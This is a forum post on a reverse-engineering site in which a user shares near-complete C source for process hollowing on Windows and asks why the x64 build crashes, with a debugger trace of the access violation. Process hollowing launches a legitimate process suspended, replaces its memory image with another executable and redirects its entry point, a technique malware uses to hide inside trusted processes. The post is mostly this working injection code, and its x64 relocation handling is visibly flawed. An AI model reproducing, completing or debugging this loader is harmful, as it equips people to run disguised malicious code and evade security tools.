Jump to content
Tuts 4 You

Process Hollowing Windows 7, x64


XLH

Recommended Posts

Hi,

I'm new here.

Thanks for the code in https://www.rohitab.com/discuss/topic/41529-stealthier-process-hollowing-code/

But, it only works with x86, then I was trying to make it work with both x86 and x64. But I received the following error when attached windbg to running x64 bit hollowing (in hollowed process). What would be wrong ?

(768.edc): Access violation - code c0000005 (first chance)

First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
ntdll!LdrpAllocateTlsEntry+0xda:
00000000`7759466a 8911            mov     dword ptr [rcx],edx ds:00000000`00904b5c=????????

Here is my code for Process Hollowing, it works well for x86
 

#include <Windows.h>
#include <winternl.h>
#include <stddef.h>

typedef NTSTATUS(WINAPI *NtUnmapViewOfSectionFunc)(
    HANDLE ProcessHandle,
    void *BaseAddress
    );

typedef NTSTATUS(WINAPI *NtQueryInformationProcessFunc)(
    void *ProcessHandle,
    DWORD ProcessInformationClass,
    void *ProcessInformation,
    DWORD ProcessInformationLength,
    DWORD *ReturnLength
    );

#define GET_NTHDRS(module) \
    ((IMAGE_NT_HEADERS *) \
    ((char *)module + ((IMAGE_DOS_HEADER *)module)->e_lfanew))

/* global pointers to "undocumented" apis, set at ph_init */
NtUnmapViewOfSectionFunc pNtUnmapViewOfSection;
NtQueryInformationProcessFunc pNtQueryInformationProcess;

static DWORD_PTR rva_to_raw(DWORD_PTR rva, const IMAGE_NT_HEADERS *nthdrs)
{
    const IMAGE_SECTION_HEADER *sec_hdr;
    WORD nsections;

    sec_hdr = (IMAGE_SECTION_HEADER *)(nthdrs + 1);
    for (nsections = 0; nsections < nthdrs->FileHeader.NumberOfSections; nsections++) 
    {
        DWORD sec_size;
        sec_size = nsections == nthdrs->FileHeader.NumberOfSections - 1 ?
            sec_hdr->Misc.VirtualSize : (sec_hdr + 1)->VirtualAddress - sec_hdr->VirtualAddress;
        
        if (rva >= sec_hdr->VirtualAddress &&
            rva < sec_hdr->VirtualAddress + sec_size) {

            return sec_hdr->PointerToRawData + (rva - sec_hdr->VirtualAddress);
        }
            
        ++sec_hdr;
    }
    
    return 0;
}

static const void * get_remote_PEB(HANDLE proc)
{
    void * PebBaseAddress;
    PROCESS_BASIC_INFORMATION pbi;
    DWORD ret_len;

    PebBaseAddress = pNtQueryInformationProcess(proc, ProcessBasicInformation, &pbi, sizeof(pbi), &ret_len) == 0 ? pbi.PebBaseAddress : NULL;

    printf("get_remote_PEB() - PebBaseAddress (ret_val): 0x%x", PebBaseAddress);

    return PebBaseAddress;
}

static int read_pmem_wrap(HANDLE proc, const void * addr, PVOID buffer, SIZE_T size)
{
    int ret;
    SIZE_T read;

    printf("read_pmem_wrap() called.");
    ret = ReadProcessMemory(proc, addr, buffer, size, &read);


    printf("ReadProcessMemory() size: %d, read: %d", size, read);
    if (ret == 0) {
        printf("ReadProcessMemory() failed. Code: %d", GetLastError());
    }

    return ret && read == size;
}

static int write_pmem_wrap(HANDLE proc, const PVOID addr, const void *buffer, SIZE_T size)
{
    int ret;
    SIZE_T written;

    ret = WriteProcessMemory(proc, addr, buffer, size, &written);

    if (ret == 0) {
        printf("WriteProcessMemory() error code: ", GetLastError());
    }
    
    return ret && written == size;
}


#ifdef _WIN64
#define PEB_BASE_ADDR_OFFSET    16
#endif

#ifdef _X86_
#define PEB_BASE_ADDR_OFFSET    8
#endif


static int get_remote_base_addr(HANDLE proc, const void *peb_addr, DWORD_PTR base_addr)
{
    int ret_val;
    ret_val = read_pmem_wrap(proc, ((char *)peb_addr + PEB_BASE_ADDR_OFFSET), (PVOID)base_addr, sizeof(base_addr));

    //read_pmem_wrap(HANDLE proc, const void * addr, PVOID buffer, SIZE_T size)

    printf("get_remote_base_addr() - ret_val: %d, peb_addr: 0x%x, base_addr: 0x%x", ret_val, (DWORD_PTR)peb_addr, (DWORD_PTR)base_addr);

    return ret_val;
}

static int set_remote_base_addr(HANDLE proc, const void *peb_addr, DWORD_PTR base_addr)
{
    return write_pmem_wrap(proc, ((char *)peb_addr + PEB_BASE_ADDR_OFFSET),
        &base_addr, sizeof(base_addr));
}

static int get_remote_image_size(HANDLE proc, const void *image_base, DWORD *image_size)
{
    int ret_val;

    IMAGE_DOS_HEADER doshdr;

    if (!read_pmem_wrap(proc, image_base, &doshdr, sizeof(doshdr))) {
        printf("get_remote_image_size() - ret_val: %d", 0);
        return 0;
    }
    ret_val = read_pmem_wrap(proc, ((char *)image_base + doshdr.e_lfanew +
        offsetof(IMAGE_NT_HEADERS, OptionalHeader.SizeOfImage)),
        image_size, sizeof(*image_size));


    printf("get_remote_image_size() - ret_val: %d, image_size: %d", ret_val, *image_size);
    return ret_val;
}

static int dir_exists(const IMAGE_NT_HEADERS *nthdrs, int dir_type)
{
    const IMAGE_DATA_DIRECTORY *dir_entry;
    dir_entry = &nthdrs->OptionalHeader.DataDirectory[dir_type];
    return dir_entry->VirtualAddress != 0 && dir_entry->Size != 0;
}

static int is_relocatable(const IMAGE_NT_HEADERS *nthdrs)
{
    return !(nthdrs->FileHeader.Characteristics & IMAGE_FILE_RELOCS_STRIPPED) &&
        dir_exists(nthdrs, IMAGE_DIRECTORY_ENTRY_BASERELOC);
}

static int copy_headers(HANDLE proc, void *base, const void *src)
{
    const IMAGE_NT_HEADERS *nthdrs;

    nthdrs = GET_NTHDRS(src);
    return write_pmem_wrap(proc, base, src, nthdrs->OptionalHeader.SizeOfHeaders);
}

static int copy_sections(HANDLE proc, void *base, const void *src)
{
    const IMAGE_NT_HEADERS *nthdrs;
    const IMAGE_SECTION_HEADER *sechdr;
    WORD i;

    nthdrs = GET_NTHDRS(src);
    sechdr = (IMAGE_SECTION_HEADER *)(nthdrs + 1);
    for (i = 0; i < nthdrs->FileHeader.NumberOfSections; ++i) {
        void *sec_dest;

        if (sechdr[i].PointerToRawData == 0)
            continue;

        sec_dest = (char *)base + sechdr[i].VirtualAddress;

        printf("Writing %s section to 0x%p\r\n", sechdr[i].Name, sec_dest);
        if (!write_pmem_wrap(proc, sec_dest, (char *)src + sechdr[i].PointerToRawData, sechdr[i].SizeOfRawData))
        {
            return 0;
        }
    }
    return 1;
}

// executable, readable, writable
static DWORD secp2vmemp[2][2][2] = {
    {
        //not executable
        { PAGE_NOACCESS, PAGE_WRITECOPY },
        { PAGE_READONLY, PAGE_READWRITE }
    },
    {
        //executable
        { PAGE_EXECUTE, PAGE_EXECUTE_WRITECOPY },
        { PAGE_EXECUTE_READ, PAGE_EXECUTE_READWRITE }
    }
};

static DWORD secp_to_vmemp(DWORD secp)
{
    DWORD vmemp;
    int executable, readable, writable;

    executable = (secp & IMAGE_SCN_MEM_EXECUTE) != 0;
    readable = (secp & IMAGE_SCN_MEM_READ) != 0;
    writable = (secp & IMAGE_SCN_MEM_WRITE) != 0;
    vmemp = secp2vmemp[executable][readable][writable];
    if (secp & IMAGE_SCN_MEM_NOT_CACHED)
        vmemp |= PAGE_NOCACHE;
    return vmemp;
}

static int protect_remote_secs(HANDLE proc, void *base, const IMAGE_NT_HEADERS *snthdrs)
{
    IMAGE_SECTION_HEADER *sec_hdr;
    DWORD old_prot, new_prot;
    WORD i;

    /* protect the PE headers */
    VirtualProtectEx(proc, base, snthdrs->OptionalHeader.SizeOfHeaders,
        PAGE_READONLY, &old_prot);

    /* protect the image sections */
    sec_hdr = (IMAGE_SECTION_HEADER *)(snthdrs + 1);
    for (i = 0; i < snthdrs->FileHeader.NumberOfSections; ++i) {
        void *section;
        section = (char *)base + sec_hdr[i].VirtualAddress;
        new_prot = secp_to_vmemp(sec_hdr[i].Characteristics);
        if (!VirtualProtectEx(proc,
            section,
            sec_hdr[i].Misc.VirtualSize,    /* pages affected in the range are changed */
            new_prot,
            &old_prot))
            return 0;
    }
    return 1;
}

/* fix the relocations on a raw file */
static void fix_relocs_raw_hlp(IMAGE_BASE_RELOCATION *base_reloc, DWORD dir_size,
    void *map, DWORD delta)
{
    IMAGE_NT_HEADERS *nthdrs;
    IMAGE_BASE_RELOCATION *cur_reloc, *reloc_end;

    nthdrs = GET_NTHDRS(map);
    cur_reloc = base_reloc;
    reloc_end = (IMAGE_BASE_RELOCATION *)((char *)base_reloc + dir_size);
    while (cur_reloc < reloc_end && cur_reloc->SizeOfBlock) {
        int count;
        WORD *cur_entry;
        void *page_raw;

        count = (cur_reloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
        cur_entry = (WORD *)(cur_reloc + 1);
        page_raw = (char *)map + rva_to_raw(cur_reloc->VirtualAddress, nthdrs);
        while (count--) {
            /* is valid x86 relocation? */
            if (*cur_entry >> 12 == IMAGE_REL_BASED_HIGHLOW)
                *(DWORD_PTR *)((char *)page_raw + (*cur_entry & 0x0fff)) += delta;
            cur_entry++;
        }
        /* advance to the next reloc entry */
        cur_reloc = (IMAGE_BASE_RELOCATION *)((char *)cur_reloc + cur_reloc->SizeOfBlock);
    }
}

static void fix_relocs_raw(void *map, DWORD_PTR dest_addr, DWORD_PTR image_base)
{
    /* we need to perform fix ups on the source */
    const IMAGE_NT_HEADERS *nthdrs;
    const IMAGE_DATA_DIRECTORY *reloc_dir_entry;
    IMAGE_BASE_RELOCATION *base_reloc;
    DWORD delta;
    nthdrs = GET_NTHDRS(map);
    reloc_dir_entry = &nthdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
    base_reloc = (IMAGE_BASE_RELOCATION *)((char *)map +
        rva_to_raw(reloc_dir_entry->VirtualAddress, nthdrs));
    delta = (DWORD)(dest_addr - image_base);
    fix_relocs_raw_hlp(base_reloc, reloc_dir_entry->Size, map, delta);
}

int ph_init(void)
{
    HMODULE ntdll;
    if (!(ntdll = GetModuleHandle(TEXT("ntdll.dll"))))
        return 0;
    return (pNtQueryInformationProcess =
            (NtQueryInformationProcessFunc)GetProcAddress(ntdll, "NtQueryInformationProcess")) &&
        (pNtUnmapViewOfSection =
            (NtUnmapViewOfSectionFunc)GetProcAddress(ntdll, "NtUnmapViewOfSection"));
}

int create_hollowed_proc(const char * name, char *cmd_line, void * map)
{
    STARTUPINFO sinfo;
    PROCESS_INFORMATION pinfo;
    const void *peb_addr;
    DWORD_PTR org_base;
    DWORD rimage_size;
    void *dest;
    IMAGE_NT_HEADERS *nthdrs;
    DWORD_PTR image_base;
    CONTEXT cntx;
    int res;

    dest = NULL;
    res = 0;

    memset(&sinfo, 0, sizeof(sinfo));
    sinfo.cb = sizeof(sinfo);
    memset(&pinfo, 0, sizeof(pinfo));


    if (!CreateProcessA(name, cmd_line, NULL, NULL, FALSE, CREATE_SUSPENDED | CREATE_NO_WINDOW, NULL, NULL, (LPSTARTUPINFOA)&sinfo, &pinfo))
    {
        printf("CreateProcessA() failed.");
        return 0;
    }

    if (
        !(peb_addr = get_remote_PEB(pinfo.hProcess)) ||
        !get_remote_base_addr(pinfo.hProcess, peb_addr, (DWORD_PTR)&org_base) ||
        !get_remote_image_size(pinfo.hProcess, (void *)org_base, &rimage_size)
        ) 
    {

        printf("get_remote_PEB() or get_remote_base_addr() or get_remote_image_size() failed.");
        goto cleanup;
    }

    nthdrs = GET_NTHDRS(map);

    printf("sizeof(*nthdrs): %d", sizeof(*nthdrs));

    image_base = (DWORD_PTR)(nthdrs->OptionalHeader.ImageBase);

    printf("image_base: 0x%x", image_base);

    //printf("image_base: %zx", image_base);

    /* no need to unmap if the destination is fit for us
    * commented out because injected process crashes on vista and above
    */
    /*
    if (image_base == org_base &&
    nthdrs->OptionalHeader.SizeOfImage <= rimage_size) {
    DWORD oldp;

    if(sa->s2.VirtualProtectEx(pinfo.hProcess, (void *)org_base,
    nthdrs->OptionalHeader.SizeOfImage, PAGE_READWRITE, &oldp))
    dest = (void *)org_base;
    }
    */

    if (!dest) {
        printf("if (!dest) is always true - WTF");

        if (is_relocatable(nthdrs)) {
            printf("Relocation information was NOT stripped");

            /* try to map it onto the process's image base */
            if (pNtUnmapViewOfSection(pinfo.hProcess, (void *)org_base) == 0) 
            {
                printf("Try to map it onto the process's image base");
                dest = VirtualAllocEx(
                    pinfo.hProcess,
                    (void *)org_base,
                    nthdrs->OptionalHeader.SizeOfImage,
                    MEM_RESERVE | MEM_COMMIT,
                    PAGE_READWRITE);
            }

            /* if that failed, map it on any other free address space */
            if (
                !dest 
                && 
                !(dest = VirtualAllocEx(
                pinfo.hProcess,
                NULL,
                nthdrs->OptionalHeader.SizeOfImage,
                MEM_RESERVE | MEM_COMMIT,
                PAGE_READWRITE))) 
            {

                printf("'If that failed, map it on any other free address space' failed.");

                goto cleanup;
            }

            /* change the ImageBase before the headers get copied */
            printf("nthdrs->OptionalHeader.ImageBase = (DWORD_PTR)dest; We have 'dest': 0x%x", dest);
            nthdrs->OptionalHeader.ImageBase = (DWORD_PTR)dest;
        }
        else 
        {
            printf("Relocation information was stripped from the file. The file must be loaded at its preferred base address. If the base address is not available, the loader reports an error.");
            
            /* tryp to unmap the destination pages, if they exist */
            pNtUnmapViewOfSection(pinfo.hProcess, (void *)image_base);

            /* can only map on the image base if we don't have reloc table */
            if (!(dest = VirtualAllocEx(pinfo.hProcess, (void *)image_base, nthdrs->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE))) 
            {
                printf("'Can only map on the image base if we don't have reloc table' failed. VirtualAllocEx() error code: %d", GetLastError() );

                goto cleanup;
            }
        }
    }

    /* relocated ? */
    if (dest != (void *)image_base) {
        printf("NOT relocated yet, need fix relocation.");
        fix_relocs_raw(map, (DWORD_PTR)dest, image_base);
    }
    else {
        printf("DONE relocated.");
    }

    if (!copy_headers(pinfo.hProcess, dest, map) ||
        !copy_sections(pinfo.hProcess, dest, map) ||
        !protect_remote_secs(pinfo.hProcess, dest, nthdrs)) {

        printf("copy_ failed.");
        goto cleanup;
    }
    else {
        printf("copy_ success.");
    }

    /* change the imagebase entry on the PEB if it's changed */
    if ((DWORD_PTR)dest != org_base &&
        !set_remote_base_addr(pinfo.hProcess, peb_addr, (DWORD_PTR)dest)){
        printf("change the imagebase entry failed");
        goto cleanup;
    }
    else {
        printf("change the imagebase entry success");
    }

    /* resume the suspended process */
    cntx.ContextFlags = CONTEXT_FULL;
    
    if (!GetThreadContext(pinfo.hThread, &cntx)) {
        printf("GetThreadContext() failed");
        goto cleanup;
    }
    else {
        printf("GetThreadContext() success");
    }


#ifdef _WIN64
    cntx.Rcx = (DWORD_PTR)dest + nthdrs->OptionalHeader.AddressOfEntryPoint; 

    //printf("\nNew entry point: %#zx\n", ctx.Rcx);
#endif

#ifdef _X86_
    cntx.Eax = (DWORD_PTR)dest + nthdrs->OptionalHeader.AddressOfEntryPoint; 

    //printf("\nNew entry point: %#zx\n", ctx.Eax);
#endif
    printf("New entry address: 0x%x", (DWORD_PTR)dest + nthdrs->OptionalHeader.AddressOfEntryPoint);


    if ( !SetThreadContext(pinfo.hThread, &cntx) )
    {
        printf("SetThreadContext() failed, error code: %d", GetLastError());
        goto cleanup;
    }

    printf("SetThreadContext() success");


    //Sleep(4294967295);

    if (ResumeThread(pinfo.hThread) == (DWORD)-1) {
        printf("ResumeThread() failed, error code: %d", GetLastError());
        goto cleanup;
    }

    printf("ResumeThread() success");

    res = 1;

cleanup:
    if (!res) {
        printf("Terminate the created process.");
        TerminateProcess(pinfo.hProcess, 0);
    }
        
    
    CloseHandle(pinfo.hThread);
    CloseHandle(pinfo.hProcess);

    return res;
}

 

Link to comment

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
×
×
  • Create New...